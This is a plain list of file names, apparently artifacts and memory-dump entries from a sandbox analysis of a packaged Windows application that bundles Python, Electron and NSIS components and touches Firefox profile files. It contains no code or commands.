VCRUNTIME140.dll
_ctypes.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
base_library.zip
libffi-8.dll
python313.dll
ucrtbase.dll
__PSScriptPolicyTest_rxupf5p4.nkl.ps1
LICENSE.electron.txt
LICENSES.chromium.html
chrome_200_percent.pak
d3dcompiler_47.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
af.pak
am.pak
ar.pak
bg.pak
bn.pak
ca.pak
cs.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
fa.pak
fi.pak
fil.pak
fr.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
it.pak
ja.pak
kn.pak
ko.pak
lt.pak
lv.pak
ml.pak
mr.pak
ms.pak
nb.pak
nl.pak
pl.pak
pt-BR.pak
pt-PT.pak
ro.pak
ru.pak
sk.pak
sl.pak
sr.pak
sv.pak
sw.pak
ta.pak
te.pak
th.pak
tr.pak
uk.pak
ur.pak
vi.pak
zh-CN.pak
zh-TW.pak
resources.pak
app.asar
elevate.exe
snapshot_blob.bin
v8_context_snapshot.bin
vk_swiftshader.dll
vk_swiftshader_icd.json
vulkan-1.dll
chrome_100_percent.pak
StdUtils.dll
System.dll
nsis7z.dll
messages.json
4c75d464-0e37-496b-a53b-e4b454436036.tmp
content.js
default.dic
prefs.js
prefs.js
sessionCheckpoints.json
recovery.jsonlz4
temp-index
data_0
data_2
data_3
index
0ef62de7-ff7a-4fb8-abec-5165e2796963.tmp
Network Persistent State
06f95729-1e3b-4544-8006-262ce0c9bd39.tmp
memory/760-212-0x000001EB80000000-0x000001EB81000000-memory.dmp
memory/2292-1080-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1817-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1081-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1083-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1089-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1082-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1028-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1027-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1029-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2292-1030-0x0000000001590000-0x00000000015B0000-memory.dmp
memory/2292-1816-0x0000000000C80000-0x00000000014B5000-memory.dmp
memory/2492-419-0x00000221F3A30000-0x00000221F3A52000-memory.dmp
memory/4296-1537-0x0000000000400000-0x000000000050C000-memory.dmp
memory/5588-2361-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2360-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2359-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2362-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2350-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2351-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2352-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2358-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2357-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5588-2356-0x000001C7CD5C0000-0x000001C7CD5C1000-memory.dmp
memory/5912-2911-0x000001B054BB0000-0x000001B055BB0000-memory.dmp
memory/5916-623-0x000002A335E20000-0x000002A335E3C000-memory.dmp
memory/5916-624-0x000002A335E40000-0x000002A335EF5000-memory.dmp
memory/5916-625-0x000002A335BC0000-0x000002A335BCA000-memory.dmp
memory/5916-639-0x000002A336060000-0x000002A33607C000-memory.dmp
memory/5916-1013-0x000002A336080000-0x000002A33609A000-memory.dmp
memory/5916-1014-0x000002A336040000-0x000002A336048000-memory.dmp
memory/5916-1017-0x000002A3360A0000-0x000002A3360AA000-memory.dmp
memory/5916-1015-0x000002A336050000-0x000002A336056000-memory.dmp
memory/5916-951-0x000002A335BD0000-0x000002A335BDA000-memory.dmp